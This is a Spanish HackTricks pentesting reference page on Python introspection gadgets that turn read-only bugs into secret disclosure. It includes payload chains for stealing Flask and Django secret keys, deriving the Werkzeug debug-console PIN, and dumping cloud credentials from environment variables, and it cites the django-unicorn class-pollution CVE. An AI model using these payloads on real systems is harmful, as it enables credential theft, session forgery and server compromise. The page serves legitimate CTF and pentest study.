Gadgets de lectura interna de Python
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Diferentes vulnerabilidades, como Python Format Strings o Class Pollution, pueden permitirte leer datos internos de Python pero no permitirán que ejecutes código. Por lo tanto, un pentester tendrá que aprovechar al máximo estos permisos de lectura para obtener privilegios sensibles y escalar la vulnerabilidad.
Flask - Leer la clave secreta
La página principal de una aplicación Flask probablemente tendrá el objeto global app donde se configura esta clave secreta.
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
En este caso es posible acceder a este objeto simplemente usando cualquier gadget para access global objects desde la Bypass Python sandboxes page.
En el caso de que the vulnerability is in a different python file, necesitas un gadget para recorrer los archivos hasta llegar al archivo principal y access the global object app.secret_key para cambiar la Flask secret key y poder escalate privileges knowing this key.
Un payload como este from this writeup:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Usa este payload para cambiar app.secret_key (el nombre en tu app podría ser diferente) para poder firmar nuevas flask cookies con más privilegios.
Werkzeug - machine_id and node uuid
Using these payload from this writeup podrás acceder al machine_id y al nodo uuid, que son los secretos principales que necesitas para generate the Werkzeug pin que puedes usar para acceder a la consola de python en /console si el debug mode está habilitado:
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
Warning
Ten en cuenta que puedes obtener la ruta local del servidor al
app.pygenerando algún error en la página web que te dará la ruta.
Si la vulnerabilidad está en un archivo python diferente, revisa el truco anterior de Flask para acceder a los objetos del archivo python principal.
Django - SECRET_KEY y módulo settings
El objeto settings de Django se cachea en sys.modules una vez que la aplicación se inicia. Con solo primitivas de lectura puedes leak la SECRET_KEY, credenciales de la base de datos o signing salts:
# When DJANGO_SETTINGS_MODULE is set (usual case)
sys.modules[os.environ['DJANGO_SETTINGS_MODULE']].SECRET_KEY
# Through the global settings proxy
a = sys.modules['django.conf'].settings
(a.SECRET_KEY, a.DATABASES, a.SIGNING_BACKEND)
Si el gadget vulnerable está en otro módulo, recorre globals primero:
__init__.__globals__['sys'].modules['django.conf'].settings.SECRET_KEY
Una vez conocida la clave, puedes forjar Django signed cookies o tokens de manera similar a Flask.
Variables de entorno / cloud creds a través de módulos cargados
Muchos jails siguen importando os o sys en algún punto. Puedes abusar de cualquier función accesible __init__.__globals__ para pivotar al módulo os ya importado y volcar las variables de entorno que contengan API tokens, cloud keys o flags:
# Classic os._wrap_close subclass index may change per version
cls = [c for c in object.__subclasses__() if 'os._wrap_close' in str(c)][0]
cls.__init__.__globals__['os'].environ['AWS_SECRET_ACCESS_KEY']
Si el índice de subclase está filtrado, usa loaders:
__loader__.__init__.__globals__['sys'].modules['os'].environ['FLAG']
Las variables de entorno son con frecuencia los únicos secretos necesarios para pasar de lectura a compromiso total (cloud IAM keys, database URLs, signing keys, etc.).
Django-Unicorn class pollution (CVE-2025-24370)
django-unicorn (<0.62.0) permitió class pollution mediante solicitudes de componente manipuladas. Configurar una ruta de propiedad como __init__.__globals__ permite a un atacante acceder a los globals del módulo del componente y a cualquier módulo importado (p. ej. settings, os, sys). Desde allí puedes leak SECRET_KEY, DATABASES o credenciales de servicio sin ejecución de código. La cadena de exploit es puramente de solo-lectura y utiliza los mismos patrones dunder-gadget mencionados arriba.
Gadget collections for chaining
Recientes CTFs (p. ej. jailCTF 2025) muestran cadenas de lectura fiables construidas únicamente con acceso a atributos y enumeración de subclases. Listas mantenidas por la comunidad como pyjailbreaker catalogan cientos de gadgets mínimos que puedes combinar para recorrer desde objetos hasta __globals__, sys.modules y finalmente datos sensibles. Úsalas para adaptarte rápidamente cuando los índices o los nombres de clase difieran entre versiones menores de Python.
Referencias
- Wiz analysis of django-unicorn class pollution (CVE-2025-24370)
- pyjailbreaker – Python sandbox gadget wiki
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


